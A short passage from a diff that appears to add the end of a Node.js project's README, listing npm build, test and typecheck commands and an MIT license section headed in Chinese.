+ npm run build # tsup -> dist/
381
+ npm test # vitest
382
+ npm run typecheck # tsc --noEmit
383
+ ```
384
+
385
+ ## 许可证
386
+
387
+ MIT